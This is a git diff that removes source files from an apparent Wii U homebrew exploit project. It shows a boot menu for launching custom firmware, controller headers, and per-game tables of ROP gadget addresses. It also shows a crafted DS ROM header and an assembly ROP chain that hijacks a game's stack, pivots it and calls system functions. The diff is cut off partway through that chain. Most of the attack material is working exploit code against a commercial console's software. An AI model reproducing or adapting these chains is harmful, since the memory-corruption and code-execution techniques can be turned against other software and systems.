- if((btnDown & VPAD_BUTTON_HOME) || WPADGetSpeakerVolume() == 0) - { - WPADSetSpeakerVolume(1); - loadMenu = 1; - break; - } - usleep(50000); - } - //no menu requested, autoboot - if(loadMenu == 0) - goto cbhc_menu_end; - - OSScreenClearBuffer(0); - OSScreenPutFont(0, 0, verInfStr); - OSScreenPutFont(0, 1, "Entering Menu..."); - OSScreenFlipBuffers(); - waitCnt = 30; - while(waitCnt--) - { - getButtonsDown(padscore_handle, vpad_handle); - usleep(50000); - } - -cbhc_menu: ; - int redraw = 1; - int PosX = 0; - int ListMax = 7; - int clickT = 0; - while(1) - { - unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle); - - if(WPADGetSpeakerVolume() == 0) - { - if(clickT == 0) - clickT = 8; - else - { - btnDown |= VPAD_BUTTON_A; - clickT = 0; - } - WPADSetSpeakerVolume(1); - } - else if(clickT) - { - clickT--; - if(clickT == 0) - btnDown |= VPAD_BUTTON_DOWN; - } - - if( btnDown & VPAD_BUTTON_DOWN ) - { - if(PosX+1 == ListMax) - PosX = 0; - else - PosX++; - redraw = 1; - } - - if( btnDown & VPAD_BUTTON_UP ) - { - if( PosX <= 0 ) - PosX = (ListMax-1); - else - PosX--; - redraw = 1; - } - - if( btnDown & VPAD_BUTTON_A ) - { - if(PosX == 6) - { - cur_autoboot++; - if(cur_autoboot == DEFAULT_MAX) - cur_autoboot = DEFAULT_DISABLED; - redraw = 1; - } - else - { - launchmode = PosX; - break; - } - } - - if(redraw) - { - OSScreenClearBuffer(0); - OSScreenPutFont(0, 0, verInfStr); - char printStr[64]; - __os_snprintf(printStr,64,"%c Boot System Menu", 0 == PosX ? '>' : ' '); - OSScreenPutFont(0, 1, printStr); - __os_snprintf(printStr,64,"%c Boot Homebrew Launcher", 1 == PosX ? '>' : ' '); - OSScreenPutFont(0, 2, printStr); - __os_snprintf(printStr,64,"%c Boot Mocha CFW", 2 == PosX ? '>' : ' '); - OSScreenPutFont(0, 3, printStr); - __os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 3 == PosX ? '>' : ' '); - OSScreenPutFont(0, 4, printStr); - __os_snprintf(printStr,64,"%c Boot vWii System Menu", 4 == PosX ? '>' : ' '); - OSScreenPutFont(0, 5, printStr); - __os_snprintf(printStr,64,"%c Boot vWii Homebrew Channel", 5 == PosX ? '>' : ' '); - OSScreenPutFont(0, 6, printStr); - __os_snprintf(printStr,64,"%c Autoboot: %s", 6 == PosX ? '>' : ' ', bootOpts[cur_autoboot]); - OSScreenPutFont(0, 7, printStr); - - OSScreenFlipBuffers(); - redraw = 0; - } - usleep(50000); - } - OSScreenClearBuffer(0); - OSScreenFlipBuffers(); - usleep(50000); - - //regular menu end, save settings, clean up and launch selection -cbhc_menu_end: ; - if(cur_autoboot != autoboot) - SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1); - - SAVEFlushQuota(pClient, pCmd, slot, -1); - FSDelClient(pClient); - SAVEShutdown(); - FSShutdown(); - - MEMFreeToDefaultHeap(pClient); - MEMFreeToDefaultHeap(pCmd); - - OSScreenClearBuffer(0); - OSScreenFlipBuffers(); - - WPADSetSpeakerVolume(oriVol); - -do_launch_selection: ; - KPADShutdown(); - - //store path to sd fw.img for arm_kernel - if(launchmode == LAUNCH_CFW_IMG) - { - strcpy((void*)0xF5E70000,"/vol/sdcard"); - DCStoreRange((void*)0xF5E70000,0x100); - } - - //do iosu patches - void (*patch_iosu)(unsigned int coreinit_handle, unsigned int sysapp_handle, int launchmode, int from_cbhc) = (void*)0x01804000; - patch_iosu(coreinit_handle, sysapp_handle, launchmode, 1); - - if(launchmode == LAUNCH_HBL) - { - strcpy((void*)0xF5E70000,SD_HBL_PATH); - return 0x01800000; - } - else if(launchmode == LAUNCH_MOCHA) - { - strcpy((void*)0xF5E70000,SD_MOCHA_PATH); - return 0x01800000; - } - else if(launchmode == LAUNCH_VWII_SYSMENU) - { - // vwii system menu bootup - memcpy((void*)0xF5E70000, &VWII_SYSMENU_TID, 8); - return 0x0180C000; - } - else if(launchmode == LAUNCH_VWII_HBC) - { - // vwii system menu bootup - memcpy((void*)0xF5E70000, &VWII_HBC_TID, 8); - return 0x0180C000; - } - - //sysmenu or cfw - if(launchmode == LAUNCH_CFW_IMG) - { - OSForceFullRelaunch(); - SYSLaunchMenu(); - } - else - { - if(defaultSlot) //normal menu boot - SYSLaunchMenu(); - else //show mii select - _SYSLaunchMenuWithCheckingAccount(slot); - } - OSExitThread(0); - return 0; -} - -/* General Input Code */ - -static unsigned int wpadToVpad(unsigned int buttons) -{ - unsigned int conv_buttons = 0; - - if(buttons & WPAD_BUTTON_LEFT) - conv_buttons |= VPAD_BUTTON_LEFT; - - if(buttons & WPAD_BUTTON_RIGHT) - conv_buttons |= VPAD_BUTTON_RIGHT; - - if(buttons & WPAD_BUTTON_DOWN) - conv_buttons |= VPAD_BUTTON_DOWN; - - if(buttons & WPAD_BUTTON_UP) - conv_buttons |= VPAD_BUTTON_UP; - - if(buttons & WPAD_BUTTON_PLUS) - conv_buttons |= VPAD_BUTTON_PLUS; - - if(buttons & WPAD_BUTTON_2) - conv_buttons |= VPAD_BUTTON_X; - - if(buttons & WPAD_BUTTON_1) - conv_buttons |= VPAD_BUTTON_Y; - - if(buttons & WPAD_BUTTON_B) - conv_buttons |= VPAD_BUTTON_B; - - if(buttons & WPAD_BUTTON_A) - conv_buttons |= VPAD_BUTTON_A; - - if(buttons & WPAD_BUTTON_MINUS) - conv_buttons |= VPAD_BUTTON_MINUS; - - if(buttons & WPAD_BUTTON_HOME) - conv_buttons |= VPAD_BUTTON_HOME; - - return conv_buttons; -} - -static unsigned int wpadClassicToVpad(unsigned int buttons) -{ - unsigned int conv_buttons = 0; - - if(buttons & WPAD_CLASSIC_BUTTON_LEFT) - conv_buttons |= VPAD_BUTTON_LEFT; - - if(buttons & WPAD_CLASSIC_BUTTON_RIGHT) - conv_buttons |= VPAD_BUTTON_RIGHT; - - if(buttons & WPAD_CLASSIC_BUTTON_DOWN) - conv_buttons |= VPAD_BUTTON_DOWN; - - if(buttons & WPAD_CLASSIC_BUTTON_UP) - conv_buttons |= VPAD_BUTTON_UP; - - if(buttons & WPAD_CLASSIC_BUTTON_PLUS) - conv_buttons |= VPAD_BUTTON_PLUS; - - if(buttons & WPAD_CLASSIC_BUTTON_X) - conv_buttons |= VPAD_BUTTON_X; - - if(buttons & WPAD_CLASSIC_BUTTON_Y) - conv_buttons |= VPAD_BUTTON_Y; - - if(buttons & WPAD_CLASSIC_BUTTON_B) - conv_buttons |= VPAD_BUTTON_B; - - if(buttons & WPAD_CLASSIC_BUTTON_A) - conv_buttons |= VPAD_BUTTON_A; - - if(buttons & WPAD_CLASSIC_BUTTON_MINUS) - conv_buttons |= VPAD_BUTTON_MINUS; - - if(buttons & WPAD_CLASSIC_BUTTON_HOME) - conv_buttons |= VPAD_BUTTON_HOME; - - if(buttons & WPAD_CLASSIC_BUTTON_ZR) - conv_buttons |= VPAD_BUTTON_ZR; - - if(buttons & WPAD_CLASSIC_BUTTON_ZL) - conv_buttons |= VPAD_BUTTON_ZL; - - if(buttons & WPAD_CLASSIC_BUTTON_R) - conv_buttons |= VPAD_BUTTON_R; - - if(buttons & WPAD_CLASSIC_BUTTON_L) - conv_buttons |= VPAD_BUTTON_L; - - return conv_buttons; -} - -static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle) -{ - int(*WPADProbe)(int chan, int * pad_type); - int(*KPADRead)(int chan, void * data, int size); - OSDynLoad_FindExport(padscore_handle, 0, "WPADProbe",&WPADProbe); - OSDynLoad_FindExport(padscore_handle, 0, "KPADRead",&KPADRead); - - unsigned int btnDown = 0; - - int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error); - OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead); - - int vpadError = -1; - VPADData vpad; - VPADRead(0, &vpad, 1, &vpadError); - if(vpadError == 0) - btnDown |= vpad.btns_d; - - int i; - for(i = 0; i < 4; i++) - { - int controller_type; - if(WPADProbe(i, &controller_type) != 0) - continue; - KPADData kpadData; - KPADRead(i, &kpadData, 1); - if(kpadData.device_type <= 1) - btnDown |= wpadToVpad(kpadData.btns_d); - else - btnDown |= wpadClassicToVpad(kpadData.classic.btns_d); - } - - return btnDown; -} diff --git a/dsrom/cbhc_menu/pad.h b/dsrom/cbhc_menu/pad.h deleted file mode 100644 index 95ac2c7..0000000 --- a/dsrom/cbhc_menu/pad.h +++ /dev/null @@ -1,127 +0,0 @@ - -#ifndef _PAD_H_ -#define _PAD_H_ - -typedef struct _KPADData -{ - unsigned int btns_h; - unsigned int btns_d; - unsigned int btns_r; - unsigned int unused_1[5]; - float pos_x; - float pos_y; - unsigned int unused_2[3]; - float angle_x; - float angle_y; - unsigned int unused_3[8]; - unsigned char device_type; - unsigned char wpad_error; - unsigned char pos_valid; - unsigned char unused_4[1]; - - union - { - struct - { - float stick_x; - float stick_y; - } nunchuck; - - struct - { - unsigned int btns_h; - unsigned int btns_d; - unsigned int btns_r; - float lstick_x; - float lstick_y; - float rstick_x; - float rstick_y; - float ltrigger; - float rtrigger; - } classic; - - unsigned int unused_6[20]; - }; - unsigned int unused_7[16]; -} KPADData; - -#define WPAD_BUTTON_LEFT 0x0001 -#define WPAD_BUTTON_RIGHT 0x0002 -#define WPAD_BUTTON_DOWN 0x0004 -#define WPAD_BUTTON_UP 0x0008 -#define WPAD_BUTTON_PLUS 0x0010 -#define WPAD_BUTTON_2 0x0100 -#define WPAD_BUTTON_1 0x0200 -#define WPAD_BUTTON_B 0x0400 -#define WPAD_BUTTON_A 0x0800 -#define WPAD_BUTTON_MINUS 0x1000 -#define WPAD_BUTTON_Z 0x2000 -#define WPAD_BUTTON_C 0x4000 -#define WPAD_BUTTON_HOME 0x8000 - -#define WPAD_CLASSIC_BUTTON_UP 0x0001 -#define WPAD_CLASSIC_BUTTON_LEFT 0x0002 -#define WPAD_CLASSIC_BUTTON_ZR 0x0004 -#define WPAD_CLASSIC_BUTTON_X 0x0008 -#define WPAD_CLASSIC_BUTTON_A 0x0010 -#define WPAD_CLASSIC_BUTTON_Y 0x0020 -#define WPAD_CLASSIC_BUTTON_B 0x0040 -#define WPAD_CLASSIC_BUTTON_ZL 0x0080 -#define WPAD_CLASSIC_BUTTON_R 0x0200 -#define WPAD_CLASSIC_BUTTON_PLUS 0x0400 -#define WPAD_CLASSIC_BUTTON_HOME 0x0800 -#define WPAD_CLASSIC_BUTTON_MINUS 0x1000 -#define WPAD_CLASSIC_BUTTON_L 0x2000 -#define WPAD_CLASSIC_BUTTON_DOWN 0x4000 -#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000 - - - -typedef struct -{ - float x,y; -} Vec2D; - -typedef struct -{ - uint16_t x, y; /* Touch coordinates */ - uint16_t touched; /* 1 = Touched, 0 = Not touched */ - uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */ -} VPADTPData; - -typedef struct -{ - uint32_t btns_h; /* Held buttons */ - uint32_t btns_d; /* Buttons that are pressed at that instant */ - uint32_t btns_r; /* Released buttons */ - Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */ - char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */ - VPADTPData tpdata; /* Normal touchscreen data */ - VPADTPData tpdata1; /* Modified touchscreen data 1 */ - VPADTPData tpdata2; /* Modified touchscreen data 2 */ - char unknown6a[0xa0 - 0x6a]; - uint8_t volume; - uint8_t battery; /* 0 to 6 */ - uint8_t unk_volume; /* One less than volume */ - char unknowna4[0xac - 0xa4]; -} VPADData; - -#define VPAD_BUTTON_A 0x8000 -#define VPAD_BUTTON_B 0x4000 -#define VPAD_BUTTON_X 0x2000 -#define VPAD_BUTTON_Y 0x1000 -#define VPAD_BUTTON_LEFT 0x0800 -#define VPAD_BUTTON_RIGHT 0x0400 -#define VPAD_BUTTON_UP 0x0200 -#define VPAD_BUTTON_DOWN 0x0100 -#define VPAD_BUTTON_ZL 0x0080 -#define VPAD_BUTTON_ZR 0x0040 -#define VPAD_BUTTON_L 0x0020 -#define VPAD_BUTTON_R 0x0010 -#define VPAD_BUTTON_PLUS 0x0008 -#define VPAD_BUTTON_MINUS 0x0004 -#define VPAD_BUTTON_HOME 0x0002 -#define VPAD_BUTTON_SYNC 0x0001 - - -#endif diff --git a/dsrom/cbhc_menu/types.h b/dsrom/cbhc_menu/types.h deleted file mode 100644 index 828591e..0000000 --- a/dsrom/cbhc_menu/types.h +++ /dev/null @@ -1,20 +0,0 @@ -#ifndef TYPES_H -#define TYPES_H - -typedef unsigned long long uint64_t; -typedef long long int64_t; -typedef unsigned int uint32_t; -typedef int int32_t; -typedef unsigned short uint16_t; -typedef short int16_t; -typedef unsigned char uint8_t; -typedef char int8_t; - -typedef uint32_t size_t; - -typedef _Bool bool; -#define true 1 -#define false 0 -#define null 0 - -#endif /* TYPES_H */ diff --git a/dsrom/dkjclimber_defs.s b/dsrom/dkjclimber_defs.s deleted file mode 100644 index 9156a59..0000000 --- a/dsrom/dkjclimber_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x107969A4-0xB8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C8C938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x1643F200) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x022070C4) -BCTRL equ (RPX_OFFSET + 0x02206FFC) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020A3650) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020A327C) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020ACA78) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x021791A8) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02277B84) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018910) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020AEA90) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F4B0) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x02082F58) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x02057A10) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018998) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x021492E4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020240F4) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x02221A28) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x02221E44) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x022218D4) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006CD0) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FB24) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x02220D8C) -_START_EXIT equ (RPX_OFFSET + 0x02026944) diff --git a/dsrom/global.h b/dsrom/global.h deleted file mode 100644 index e0f8ac7..0000000 --- a/dsrom/global.h +++ /dev/null @@ -1,12 +0,0 @@ - -#ifndef _GLOBAL_H_ -#define _GLOBAL_H_ - -#define LAUNCH_SYSMENU 0 -#define LAUNCH_HBL 1 -#define LAUNCH_MOCHA 2 -#define LAUNCH_CFW_IMG 3 -#define LAUNCH_VWII_SYSMENU 4 -#define LAUNCH_VWII_HBC 5 - -#endif diff --git a/dsrom/guardiansigns_defs.s b/dsrom/guardiansigns_defs.s deleted file mode 100644 index aaacbba..0000000 --- a/dsrom/guardiansigns_defs.s +++ /dev/null @@ -1,39 +0,0 @@ - -; game stack return address -HAX_TARGET_ADDRESS equ (0x1079C564-0xC8) -; application memory pointer -HACHI_APPLICATION_PTR equ (0x10C92938) -; arm9 rom location address -ARM9_ROM_LOCATION equ (0x16441D00) - -; constants for position calcs -RPX_OFFSET equ (0x01800000) -ARM7_ROM_MEM2_START equ (0xF0000000 - ARM9_ROM_LOCATION + 0x12000000) - -; rop-gadgets part 1 (used for all sorts of different things) -LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR equ (RPX_OFFSET + 0x0200369C) -BCTRL equ (RPX_OFFSET + 0x020041D8) -MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR equ (RPX_OFFSET + 0x020ABF88) -LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR equ (RPX_OFFSET + 0x020ABB60) -LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02001AF8) -MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR equ (RPX_OFFSET + 0x02181AC0) -LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR equ (RPX_OFFSET + 0x02281624) - -; rop-gadgets part 2 (only used to set up core 0 thread stack) -LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x02018A88) -MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x020B73C8) -LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x0200F610) -LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR equ (RPX_OFFSET + 0x020882E0) -LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR equ (RPX_OFFSET + 0x0205B0C8) -LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR equ (RPX_OFFSET + 0x02018B10) -LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR equ (RPX_OFFSET + 0x02151BF4) -MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR equ (RPX_OFFSET + 0x0202441C) - -; functions used from game -NERD_CREATETHREAD equ (RPX_OFFSET + 0x0222B2FC) -NERD_STARTTHREAD equ (RPX_OFFSET + 0x0222B718) -NERD_JOINTHREAD equ (RPX_OFFSET + 0x0222B1A8) -HACHI_APPLICATION_SHUTDOWNANDDESTROY equ (RPX_OFFSET + 0x02006E2C) -NERD_FASTWIIU_SHUTDOWN equ (RPX_OFFSET + 0x0201FE74) -CORE_SHUTDOWN equ (RPX_OFFSET + 0x0222ADEC) -_START_EXIT equ (RPX_OFFSET + 0x02026544) diff --git a/dsrom/haxchi_cb.s b/dsrom/haxchi_cb.s deleted file mode 100644 index b5d968f..0000000 --- a/dsrom/haxchi_cb.s +++ /dev/null @@ -1,40 +0,0 @@ -.include "defines.s" -.create "rom.nds", 0 - -.nds - -.org 0x000 - .ascii "HAXCHI" ; Game Title - -.org 0x00C - .ascii "HAXX" ; Gamecode - .ascii "01" ; Makercode - .byte 0x00 ; Unitcode - -.org 0x020 - .word arm9_data ; ARM9 rom_offset - .word 0x2000800 ; ARM9 entry_address - .word 0x2000000 ; ARM9 ram_address - .word arm9_data_end - arm9_data ; ARM9 size - .word arm7_data ; ARM7 rom_offset - .word 0x2000000 ; ARM7 entry_address - .word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address - .word arm7_data_end - arm7_data ; ARM7 size - -.org 0x080 - .word total_size ; Total Used ROM size - .word 0x4000 ; ROM Header Size - -.org 0x8000 -arm9_data: - .incbin "haxchi_rop_cb.bin" -arm9_data_end: - -.align 0x1000 -arm7_data: - .incbin "haxchi_rop_hook.bin" -arm7_data_end: - -total_size: - -.Close diff --git a/dsrom/haxchi_rop_cb.s b/dsrom/haxchi_rop_cb.s deleted file mode 100644 index 25a12de..0000000 --- a/dsrom/haxchi_rop_cb.s +++ /dev/null @@ -1,281 +0,0 @@ -.include "coreinit.s" -.include "defines.s" - -; more useful definitions -HBL_LOADER_ADR equ (0x01800000) -IOSU_PATCHER_ADR equ (0x01804000) -CBHC_MENU_ADDR equ (0x01808000) -VWII_LOADER_ADDR equ (0x0180C000) - -NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000) -NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000) - -.macro set_sp,v - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word v ; r31 - .word 0xDEAD0001 ; garbage - .word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - .word 0xDEAD0001 ; garbage - .word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR -.endmacro - -.macro call_func,f,arg1,arg2,arg3,arg4 - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEADBABE ; r21 - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word 0xDEADBABE ; r24 - .word 0xDEADBABE ; r25 - .word 0xDEADBABE ; r26 - .word f ; r27 (ctr) - .word arg4 ; r28 (r6) - .word arg3 ; r29 (r5) - .word arg2 ; r30 (r4) - .word arg1 - 2 ; r31 (r3 - 2) - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR - .word 0xDEAD0008 ; garbage - .word 0xDEAD000C ; garbage - .word 0xDEAD0010 ; garbage - .word 0xDEAD0014 ; garbage - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - ; final sp is here - .word 0xDEADBABE ; garbage -.endmacro - -.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6 - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR - .word 0xDEAD0001 ; garbage - .word arg6 ; r21 (r8) - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word arg1 ; r24 (r3) - .word arg2 ; r25 (r4) - .word 0xDEADBABE ; r26 - .word arg3 ; r27 (r5) - .word arg4 ; r28 (r6) - .word arg5 ; r29 (r7) - .word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr) - .word 0xDEADBABE ; r31 - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL - .word 0xDEAD0001 ; garbage - .word 0xDEADBABE ; r21 - .word 0xDEADBABE ; r22 - .word 0xDEADBABE ; r23 - .word 0xDEADBABE ; r24 - .word 0xDEADBABE ; r25 - .word 0xDEADBABE ; r26 - .word f ; r27 (ctr) - .word arg4 ; r28 (r6) - .word arg3 ; r29 (r5) - .word arg2 ; r30 (r4) - .word arg1 - 2 ; r31 (r3 - 2) - ; sp is here when LMW_R26R1x18 happens - .word 0xDEAD0004 ; garbage - .word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR - .word 0xDEAD0008 ; garbage - .word 0xDEAD000C ; garbage - .word 0xDEAD0010 ; garbage - .word 0xDEAD0014 ; garbage - .word 0xDEADBABE ; r26 - .word 0xDEADBABE ; r27 - .word 0xDEADBABE ; r28 - .word 0xDEADBABE ; r29 - .word 0xDEADBABE ; r30 - .word 0xDEADBABE ; r31 - ; final sp is here - .word 0xDEADBABE ; garbage -.endmacro - - -; hacked from arm7 ram offset (unsafe, game stack pointer) -.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS -.arm.big - -rop_hook_start: - ;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop - ;call_func OSFATAL, 0x1007E7A8, 0, 0, 0 - ; move stack pointer to safe area - set_sp (rop_start - 4) -.Close - - -; original game arm9 ram offset (safe, normally arm9 code) -.create "haxchi_rop_cb.bin", ARM9_ROM_LOCATION -.arm.big - -rop_start: - ; do hachihachi cleanups so we can use everything safely - call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0 - call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0 - call_func CORE_SHUTDOWN, 0, 0, 0, 0 - - ; set up hbl_loader in core 0 - call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0 - - ; the code below prepares the stack for the thread in core 0 - - ; load memcpy jump into r3 - .word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR - .word MEMCPY ; r3 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; more r3 into r12 for our memcpy jump at the end of this - .word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; prepare r31 to be a valid value for the next call - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call) - .word 0xDEAD0001 ; garbage - ; get r5 ready for the length we want to copy - .word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR - .word (core0rop_end - core0rop) ; r5 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; r30 - .word 0xDEAD0001 ; r31 - .word 0xDEAD0001 ; garbage - ; get r4 ready for the data we want to copy - .word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR - .word 0xDEAD0001 ; garbage - .word core0rop ; r4 - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - ; prepare r31 to be a valid value for the next call - .word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR - .word 0xDEADBABE ; r30 - .word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here) - .word 0xDEAD0001 ; garbage - ; loads the required value for the addition onto r3 later on - .word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR - .word 0xDEAD0001 ; garbage - .word 0xDEAD0001 ; garbage - .word (0x00800000 - 0x30 + 0xAFC) ; r7 - .word 0xDEAD0001 ; garbage - .word 